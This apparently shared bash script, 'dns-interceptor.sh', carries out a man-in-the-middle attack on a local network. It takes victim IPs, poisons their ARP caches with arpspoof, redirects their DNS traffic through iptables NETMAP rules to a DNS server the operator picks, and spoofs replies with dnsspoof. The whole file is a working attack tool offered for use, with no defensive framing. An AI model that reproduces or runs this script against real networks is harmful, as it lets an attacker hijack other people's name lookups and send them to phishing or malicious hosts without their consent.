Intercept DNS requests with ARP spoofing and iptables using the package dsniff on Ubuntu

dns-interceptor.sh

#!/bin/bash

if [ "$#" -lt 3 ]; then
  echo "$0 [new_dns_ip] [gateway_ip] ...victim_ips" 1>&2
  exit 0
fi

if [ "$UID" -ne 0 ]; then
  echo "Running the script as root"
  sudo "$0" "$@"
  exit $?
fi

NEW_DNS="$1"
GATEWAY="$2"
VICTIMS=${@:3}

setupIptables() {
 if [ "$1" != "A" ] && [ "$1" != "D" ]; then
   echo "setupIptables [A|D]" 1>&2
   return 1
 fi

 iptables -t nat -$1 PREROUTING -p udp --dport 53 -j NETMAP --to "$NEW_DNS"
 iptables -t nat -$1 PREROUTING -p tcp --dport 53 -j NETMAP --to "$NEW_DNS"
}

# Clear to avoid duplicates
setupIptables D &>/dev/null

ARP_PID=()
DNS_PID=0
graceful_stop() {
  echo "Stop signal received.. shutting down spoofers.."

  if [ "${#ARP_PID[@]}" -ne 0 ]; then
    kill $ARP_PID 2>/dev/null
    wait $ARP_PID
  fi

  if [ "$DNS_PID" -ne 0 ]; then
    kill "$DNS_PID" 2>/dev/null
    wait "$DNS_PID"
  fi
}

trap graceful_stop SIGINT
trap graceful_stop SIGTERM

setupIptables A

for victim in ${VICTIMS}; do
  arpspoof -t "$victim" "$GATEWAY" 2>/dev/null &
  ARP_PID+=("$!")
done

dnsspoof "src `echo -n "$VICTIMS" | sed -e 's/ / or src /g'`" &
DNS_PID="$!"

wait $ARP_PID "$DNS_PID"

setupIptables D